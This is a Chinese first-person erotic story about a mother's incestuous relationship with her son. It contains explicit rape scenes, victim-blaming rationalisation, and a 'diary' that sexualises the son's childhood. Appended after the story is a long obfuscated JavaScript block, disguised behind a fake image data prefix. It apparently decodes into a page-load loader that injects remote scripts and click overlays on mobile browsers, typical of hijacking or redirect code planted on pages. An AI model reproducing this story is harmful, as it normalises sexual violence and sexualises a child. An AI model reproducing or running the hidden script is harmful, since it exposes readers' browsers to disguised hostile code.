十多年飞逝,我40多岁了。6 年前,我身体不好,提前从厂子内退。紧接着,我母亲病逝了,我的前夫抛弃了我和这个家,跟别的女人跑了。那时,我孩子还小,儿子正在念初中,女儿还在吃奶,好可怜啊。我把他们拉扯大,真不容易。儿子也很懂事,有什么好吃的总想着我。我没钱供他上大学,儿子中专毕业就踏入社会,靠自己的努力在另一个城市里的电信行业找到一份不错的工作,撑起了这个摇摇欲坠的家。
他19岁生日那天回家,公司正好发了一大笔奖金,我们母子俩很兴奋,都喝了不少酒。他躺在床上靠在身边和我说话。我认为他是酒喝多了,也就没责怪。见到儿子长大成人,心里一高兴,还搂住他额头亲了几口。谁知这下却闯祸了。儿子有些不规矩起来,手不知什么时候滑进了我的衣服,还往身子底下掏摸。我警觉到情况不对,怒视着他。他的身体重重地压了上来,根本不理会我的叱骂。我有些害怕,心里明白却全身发软无力阻止,只是慌乱地叫道:“你……干什么……不要!我是你妈!你快住手……不要啊……”。我的哀求没有丝毫效果,儿子粗暴地撸下我的底裤。
我真的挣扎过,可我也守了多年活寡,加上酒后思想糊涂,羞耻心不够强,态度不够坚决……一种异乎寻常的感觉进入体内时,我才意识到还有发音的功能。“不——”,“要”字还没喊出口,脸被被角蒙了起来。就这样,我失身给了自己的儿子。
第二天清醒后,发现压在自己身上的竟是自己的孩子时,一下子就懵了,真不敢相信这是真的。我大哭了起来,“呜……你爸爸在外头胡搞,我这辈子……呜……还有什么指望?不就盼着你好好工作有出息吗?你竟然……作出这种无耻的事…你书都念到那去了………”。孩子也后悔得很厉害,跪下求我原谅。虽然是因为喝了酒,但发生了这样的事,儿子终归觉得没脸见我,每月只从公司回来一次,给我送生活费。日子一天天地熬了下去。
后来,我打扫房间时无意间看到儿子一篇的日记,才发现原来那晚的事,其实并不是偶然的,我也有很大责任。
孩子在日记中日记写到:
“我很小的时候就开始记事了。爸爸和外婆当妈妈不在家的时候,都比较随便,外婆常常在夏天只穿着汗衫和短裤衩在家里做家务。一天,我在妈妈的卧室里发现了一个秘密,看见爸爸骑在奶奶身上,偶尔还听到奶奶因疼痛发出的哼叫声,我当时还没到懂得性事的年龄,以为父亲在欺负奶奶。但我那时胆子小,没敢告妈妈。后来听得多了,也就见怪不怪。一次,爸爸察觉我蹲在门口,他也没在意,倒是外婆给了我一块糖,问我听见了什么,我傻傻地问她是不是生病了,外婆笑了,没有往下说。
他们忽视了5 岁小男孩的存在,可这件事对我的影响很大。大概从小学五年级的时候,就对性,特别是关于母亲的性有了浓厚的兴趣,我会每晚很晚的睡觉,以等待偷听父母做爱,然后自己手淫。我常常在早上起来后,会看见他们的屋子里的地上,躺着几团卫生纸,黑色的地上白色的纸团,特别显眼。也是因此我对他们的性生活产生了兴趣。
通过偷听,我知道了父母的性生活并不和谐,我爸爸有早泄的毛病,但他有特别喜欢做,而母亲则比较不喜欢,我听他们做爱时的话,有时候是因为爸爸太粗暴,有时候是因他太早就射了。
我爸爸喜欢喝酒,而且喝多后,喜欢抚摩我妈妈的阴部,即使我在的时候,也是这样,也许他认为我还小吧。
但是妈妈很讨厌他的手,有一次,在他们看电视的时候,我躲在房间外边偷看,看见爸爸把手伸进妈妈的内裤里不时的抠抠摸摸,突然母亲把他的手打开说:“你知不知道多疼?‘还有一次,爸爸晚上喝多了,回来后,我被他们的争吵声吵醒了,’来一次嘛!‘’不行,这几天不行。‘’ 为什么不行?‘’你说为什么,你这个没良心的……‘’以前不是也行吗?‘’以前是以前,现在不行!‘接着我听到他们在拉扯,接着传来妈妈呜咽声,最后,妈妈带着恼怒的声音说道:”给你,给你,好了吧,来吧!’过了一会,就听到爸爸吭吭哧哧的声音…在上初中后,我听到的少了,因为我住校了,但周六的时候,我还是听到了一次,那天我一样睡的很晚,而且是夏天,妈妈本来在我旁边睡着,我和妈妈睡在客厅,因为那里凉快一些。
当我装睡后,听到爸爸叫:“萍,萍!‘妈妈等了一会,就起身进到他们房里去了,我接着起来,因为很黑,所以我只能借着光线看到一点。
听到妈妈说:“今天又想啊?‘爸:”是啊!’‘今天没喝酒,以后这样的话,我就都让你舒服。’‘好,以后一定。’‘等一下,看儿子睡了没有。’我立刻躺了下来,然后妈妈就出来了,我眯着眼睛看到,她的睡裙已经扎到腰上,而两腿之间什么也没穿,只有黑忽忽的一块。她看了一下,就进去了。
‘睡了,你轻点,别吵醒了。’我起来后,就靠到门边。
‘哦,别摸了,进来吧。别急,我躺好。’接着我听到爸爸吭了一声,就听见他们俩喘了气。
然后妈妈说:“你劲小点,我现在肚子里……‘’好好,我轻点!‘’现在好了,进吧!‘这时候我慢慢的把头探了一看,透着外边的光线看见毯子很高,伴着爸爸的喘息声一起一伏的。
妈妈不时的发出‘哼,哼!’的声音。
大概过了四分钟,妈妈说:“……对……就是这样……再来一会……他亲爸爸……‘爸爸说:“我快了……‘妈妈:“再过一会……‘但爸爸紧接着就急促的喘起了气,动作也快了,然后就静止,舒了一口气。
爸爸没说话,‘起来’伴着声音,我听到妈妈把爸爸推开了,接着就听到一阵拿卫生纸的声音,然后听到了‘嗤嗤’的声音,我想大概是妈妈大概是在擦她的阴部,接着‘啪’的一声,我看见一团白东西掉到了地上。‘我到外边去睡了!’听到这里,我赶快跑回到席子上,躺了下来。接着妈妈就走了出来,我眯着眼睛看到她扎着裙子,一个手拿卫生纸捂着阴部,到我旁边,坐了下来,然后长叹了一口气,躺了下来,我偷偷的看着她的身体,看见她没有把裙子放下,而是让肚子以下赤裸着,以前一片黑毛的地方,现在被一团卫生纸盖着……不久我多了一个妹妹,可父母却分手了……“到这里,我再也忍不住,泪水夺眶而出。天哪,这是命哦。
和儿子分开的那段时间,生活渐渐恢复了平静,可我们俩的心理压力都很重。儿子的离开,使这个家更显得冷冷清清。我和女儿的日子真不好过,邻居们慢慢地有了些风言风语,都说我是个孤僻的怪人,很多无聊的人还经常嘲弄我。我只有在深夜躲在被窝里暗自流泪。
不幸很快再次降临。那天,家里只有我一个人,楼下的张老头到家来收水电费,我进里屋去取钱。谁知这个家伙起了歹心,悄悄把门关了,不顾一切地从身后紧紧抱住了我……等我意识到自己的处境准备反抗时,双手已被他的狼爪紧紧固定,他的另一只手在我的下身蛮不讲理的撕扯着…… 他亮出了跳刀,我吓得一哆嗦,他趁机把我压倒在沙发上……他的手利索地解着我的衣扣……耳边响着喘气声……乳房弹了出来……我的第一反映是侧过身去,但哪里是这只老色狼的对手,几次鼓劲,都是枉费心机,一副干瘦的身躯和两条有力的腿牢牢地顶在身上,使骨头发出难忍的酸疼。完了!内裤被撕开了!我的第二个反映是咬,几次张口,没着目标,那张宽大有力的下巴始终固定着自己的脑袋。同时,从那张酒桶一样的大嘴里呼哧呼哧地喷着难闻的烟臭气。完了!完了!全完了!我猛地挣脱右手,向喷着烟味的地方使劲抓了一把,筋疲力尽了……他从我身上起来时,恶狠狠地威胁我,说如果敢报警,就叫他儿子带人杀光我全家——他的儿子是我们这个社区有名的地痞。我又怕又气,哭得嗓子都哑了,只有使劲咬着衣服的袖子……张老头走了,我蜷缩在浴盆里拼命擦洗着身子,但无论怎么洗都觉得无法洗掉身上的肮脏。我感到自己是一个被社会抛弃的人,连这种人都能侮辱我!但儿子又不在身边,一个孤零零的女人拖着一个六七岁的小丫头,我只能忍气吞声,独自哭泣。大病一场后,我再也受不了现在的日子,去公司找到了他,却没敢对他说这件事,因为我怕他会瞧不起我。
儿子已经在他公司附近买了一套二室一厅的公寓,我和女儿也就跟了去,远离了那个令人伤心的矿区。到了陌生的新城,我才知道,原来他这两年努力工作,又通过炒股赚了不少钱。他说我为他受了那么多苦,也该享享福了,还说等以后更有钱了,再换更大的房子。我终于住了下来,过惯了清苦贫寒生活的我,面对着新家,一开始还真的很不适应。不过儿子终于回到了我的身边,依旧像从前一样,我稍微感到了一些安慰。
但令我不安的是,我们仿佛成了他的累赘。为了节省开支,我让女儿在学校寄宿。但儿子最困难的还是个人问题,一直没交到正式的女朋友。他在感情上一次又一次的遭受挫折,城市里那些女生不但对家庭经济条件要求很高,甚至嫌弃他是矿工生的儿子。他对于成家娶妻,逐渐心灰意冷。
曾经一段时间,孩子的情绪很不稳定。他的工作和生活压力似乎太大了。经常夜不归家,要不就喝的大醉,一身酒气的回来。
有一天午睡后,他没像往常一样去上班,到我房里说想和我“睡”。乍听到这些话,出于一个母亲或者说一个女人仅存的一点 “自尊心”,我打了儿子一记耳光,但马上就后悔了。我的思绪变得很乱,能理解儿子的苦闷:在矿区,他这个年龄已经成家生子,但如今仍是光棍一条。他爸爸像他这个时候是如狼似虎,恨不得把我吞下去。反正我们母子已经错过一次,自己现在也是一大把年岁的人了,也再算不上是个干净的女人……我有些动摇,不知如何是好。但想到大白天在家里竟然……顿时一阵阵恶心酸楚,羞耻之情再度涌起,捂着脸抽泣起来。儿子有些害怕,说了几句软话后悄悄离开了。当我出房门,发现儿子不在,客厅里一地烟头,内心酸甜苦辣不知是什么滋味。仿佛看见儿子在和那些叼蛮女生吵架憋屈得难受发疯,又仿佛看见儿子在外嫖娼后得了爱滋病……天黑后儿子才回来,我准备好了晚饭一直在等他。他发觉我已不生气,放下心来。吃饭时儿子怯生生地道歉,我没吱声。过了一会,我鼓起勇气说:“晚上……晚上……可以过来睡……”,声音小得几乎听不见。儿子迟疑地望着我那看不出是什么表情的脸。我吃的很慢,偶尔和他目光相对,便又马上低下头。我原本是那种典型的中国妇女,恪守传统,本分谨慎,年轻时对自己丈夫的恩爱行为都感到脸红,但各自经过一些事后,我和儿子的神经都有些麻木。不愿再多想,听之任之吧。
晚上,我整理好了床铺,慢慢脱下衣服躺下等他,不去想将要发生的事,脑子里努力寻找一些不着边际的内容,盼着时间尽快过去。儿子冲完凉,推开房门,小心翼翼地钻进了我的被窝……我闭上眼,身体在他下面起伏,不时深呼吸,想让自己冷静下来。从儿子笨拙而贪婪的吻中。我知道他真的从未和女孩子有过亲密接触。我突然觉得儿子很可怜。自己在儿子这个年龄的时候,已经做母亲了。黑暗中,我不住问自己:这是真的吗?在摸我的真的是自己儿子?真的是他在亲我的脸?我又回想起从前那惹人怜爱的小家伙的样子,而现在……我的脸好烫啊……就在我走神的时候,儿子已摸索着地解开我睡衣的钮扣,把乳罩往上掀起,用手轻轻揉捏曾哺育过他的那对乳房,嘴轻咬着,舌头来来回回的舔着……这一来我又几乎要羞死。理智告诉自己,该不顾一切地制止儿子了,心里也真的不愿和自己的儿子发生性行为,儿子的抚弄不可能让我产生情欲。可对儿子的怜爱使我心乱如麻,怎么也狠不下心来。
当我们四目相对,他的眼神摧毁了我心中的最后一道防线,在下定决心的那一刻,反而平静了下来,默默地让儿子进入。儿子火烫的身子,紧密的相拥,笨拙而热烈的吻,使我感到是那样的陌生又是那样的熟悉。有时儿子的莽撞难免使我疼痛,也强忍着,仿佛又回到初为人母时的疼痛而幸福的时刻。我情不自禁地将儿子紧紧抱住,可怕的是,一种从身子和灵魂都彻底背叛丈夫的感觉过后,心中竟然隐隐升起复仇式的快感。
一切结束后,我们母子默默的各自把衣服穿上。儿子此时是又羞又愧,他偷眼看看我,我肯定也是满脸通红,身子颤抖了一下,然后微睁着眼幽幽地叹了口气,尽可能平静地说道:“这事过去就算了。妈妈不怪你,真的不怪你。就当什么也没发生好了。好了,快睡吧,不然明天起不来就糟了!”儿子心满意足地长出了一口气,不久就沉沉睡去,可我整夜未眠。早晨起来,我都不敢相信这一切是真的,好象做梦的感觉。
经过这次之后,事情越发不可收拾。每隔几个星期,特别是一到晚上,他有时又难免忍不住会悄悄推开我的房门……我的心里始终有想法和障碍。我知道,罪恶感和矛盾心理也紧紧伴随着儿子,他觉得对不起我却又无法控制自己。我们这到底是怎么了?
一年后,我们才终于适应了这样的生活,关系常规化。每天他回家,我就会帮他开门,放东西,脱衣服,晚上常常睡在一起,每周还性交一两次。
后来有一个周日,他拉我上街,说要买点东西给我。当我们来到首饰店时,起先我不肯进去,在他的劝说和店员的招呼下才勉强走进。
他想为我买只戒子,问我好不好,我有些不安,说:“你看着办好了。”准备给钱时,我又和店员讨价还价,居然省了几百块钱。
回到家,他搂着我坐到沙发上,拿出戒子,我甚至害羞起来。另外有一样事令我难以启齿,就是坐姿不知不觉变了。过去,象许多中年妇女一样,坐下去大腿交叉微分,身体笔直,双手放在体侧。而今天,则是微微低头,双“樂”腿合拢,两手交叠抚膝。
这种身体语言,并非刻意,它反映出我的内心世界,已完全把儿子当成自己的依靠,哪里还象过去那个动不动就板起面孔训斥他的母亲。
特别是当他捧起我的手,把戒指戴在我长年劳作而显粗糙的手指上时,已不能用文字来形容我面上的表情。那一刻我心跳得厉害!
我当时,直到今天,都没有说明那个戒指的意义,但我们心里都明白。至少都会往那方面去想:这仿佛是我们母子的“定婚戒指”。
随后,我和他同房了。那是从我们发生关系以来最愉快和顺利的一次性交。他轻轻一拉,我就轻快站起,显得象个少女。我们紧靠着向卧室走去,不时会心地微笑。
到门口时,我停了一下,关上房门,然后跟他走到床边,拥抱接吻。
他解开我的褂子,久久没有说话。显然发现我已换了他为我买的新内衣——以前,我的内衣都是自己用旧布做。他可能体会到我做母亲的那份心情。内衣并不很性感,性感的是母亲的心意:儿子,我已经属于你。
我不好意思地笑笑,我们再度拥吻。内衣如风中落叶般件件飘落,而他还是西装革履。当我看到镜中,衣冠楚楚的儿子,抱着我这赤裸裸的母亲在怀里,感到一种从未有过的刺激和极大的兴奋。
我闭着眼,享受儿子给我的爱抚和亲吻。
让他摸了一会,我站直了,有些不好意思地看看孩子,低头轻轻解开他的领带,除去了儿子的上衣。脱他裤子的时候,我还不免有些害羞,只好又抱住他,把双乳贴在他胸前。
他把一条腿踩到床上,把我的一条大腿搭在他腿上,搂着我的腰,吻我。
我睁开眼小声说:“床踩脏了。”他笑笑,一点不在乎。
毕竟床单不是他洗,而是当母亲的洗,所以我比他心疼。
我把腿拿下去,跪下来为他解鞋带,脱去皮鞋,然后站起来,搂住他的腰。
这大概是那只三千多元人民币的戒指在起作用吧?我自嘲地想:其实我现在这母亲和妓女没什么区别,只不过初次肉金较高,以后就不用给了而已。当然,这样想也是下意识的神经刺激,没别的意思。
后面一年,我们之间对于性的需求渐渐增强,但我在矿区那时也不可能这样自由,新的生活方式正好弥补了这个空白。我们是母子,即使有大量的时间单独一起,也不会被人猜疑……脱了鞋后,我领着他手拉手上了床,当时我们什么都没有说,而是互相脱着对方的衣服,相对跪坐。我拒绝他的亲吻,但却迎合他的双手。他把手在腰带上划了几下,看看我,我明白了他的意思,为他松开裤内裤带。我们马上就赤裸了身体,我还记得一个细节,我们把衣服都小心地摆在床边凳子上,而不是象香港电影里那样满地内衣裤扔了一地。
这时我却不好意思动了,跪在那里,低头看床。他便上去抱了我,我的手在儿子胳膊下抚摸他的身体。
他躺下,伸手拉我,想要我趴到他身上,但我这回却没有立刻明白他的意思,侧身躺在他旁边,他只好转过身来,我也转身仰面躺好。他压下来时,我分开双腿,一切都配合得很默契。
儿子这回很容易就进入了我的阴道。
这是我们母子第一次在光线明亮的地方做爱,我紧闭着眼不敢看他,大腿夹着他的腰,双手搂紧他的脖子。他插得很温柔,我偶尔张开嘴,无声地出一口气。
毕竟他是我生出来的,我们的生殖器官配合得也很好。当他加大力插进去,我的身体就会不自主地抖动一下。
我又在作深呼吸,他轻轻拍着我,示意放松些。
儿子射精时,我全身紧缩,死死地缠住他,直到射完后一分钟,才松弛下来。
吃晚饭时,我们贴得很近。没什么话说,只时时相视而笑。我前半辈子加起来,也没今天这么多的笑容一年后,我们的热情有所减退,但仍很和谐。我最担心的是避孕问题,他又不肯戴套子,我只好坚持服药。后来,他有了女朋友,我就不让他碰我。
现在令我欣慰的,是女儿考进了省外的大学。儿子也成了家。我恢复母亲的样子,连吻也不让儿子吻一下,生怕被看见。有一回媳妇在浴室,他偷偷对我说:“别穿内裤。”我瞪他一眼问:“为什么?”儿子觉得很没趣。另一次吃饭时,媳妇去了厨房,他偷偷摸了我的大腿一下,吓得我差点把碗掉在地上,压低声音责备道:“你疯了?”
有时,儿子趁上班时偷偷溜出来会我,我也只好勉强答应,但每次都匆匆忙忙,他也不能尽兴。偶尔在儿媳因公出差或公司有集体活动时,我也就半推半就地满足儿子一下。
我毕竟是快五十岁的人了,脸上有不少皱纹,头发夹着不少银丝,两只乳房开始下垂。小腹的肥肉也不少,总是象怀了三个月身孕似的。虽然和同龄女人相比,算是保养得当,但和青春美丽的儿媳比起来,就差很远了。可不知如何,儿子仍十分迷恋我。恐怕是因为喜欢刺激,自己母亲因年老而产生的缺点,在他眼里反而成了优点。他一点不嫌弃我,反而有些自豪,这在和自己的母亲性交啊!
还有就是,我每次和他上床,都用传统方式。由于我们是母子乱伦,我有很重的挫折感,很在意他对我的态度。我最不喜欢他要我趴在床上,再从后面象狗一样弄我。儿子想让我学小电影女主角,我告诉他那种贱女人,才不要学呢。这时我心里很自卑,人家再贱也没贱到和自己的儿子上床啊。这当然是绝对不能说出口的。
原以为我们母子间的性交也会象平常夫妻那样随时间而衰退,终至于无,但结果不是这样。我想是因为不能尽情满足的结果。
最近这一年,我和儿子性交次数远远多过他妻子,发生关系的地点在厨房多过床,时间则是在刚下班那会。因为儿媳要卖菜,通常会比儿子晚到家半小时,我和他就利用这个机会。这个时候我通常会在厨房切肉、洗米之类,儿子一进门就直接去厨房。
当我有需要的时候,他一伸手,我就会放下手里的活,转过身来和他拥抱,然后我们就在厨房里接吻,互相抚摸。我比较喜欢让他摸,很少主动摸他。一面摸儿子就一面伸手到我裙内脱掉我的内裤,把我按在厨房的墙上……结束语:这么些年,虽然我也尝到了些恩爱的滋味,但心理包袱重来没有完全丢下。每次上床满足之后,等待我的总是无尽的悔恨。特别是,现在我有了孙子,心中的压力就更大了,连做梦都梦见祖宗在痛骂我。可我仍想说,经历太多痛苦的我现在有了主见,正因为有主见,世俗的一切对我和儿子影响才不至于过大。理论上属于乱伦,但实际上我注意采取措施,不会怀孕,所以没有混乱血血缘危害社会的结果,从某种角度纯粹是满足生理需要,如同吃饭睡觉一样。对我的媳妇没有妨碍,对我的前夫也不存在不敬,如果儿子在外面嫖妓或者我在外面出错,对外有社会危害,对自己会有性病的可能。其实,我们母子并不变态,孩子从小在性的问题上失于管教,后来没了父亲,他年轻气盛,我又常年守寡,所以才会……想想,我到对母亲当年的情况有了新的理解。要怪,就怪他那狠心的爸爸干的丑事和这冷酷现实的社会。
但我和他都清楚,如果这样继续下去,会妨害这个新家。现在,我们都下定决心,结束这种关系,开始新的生活。尽管还需要一段时间,但我们母子会做到的。
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 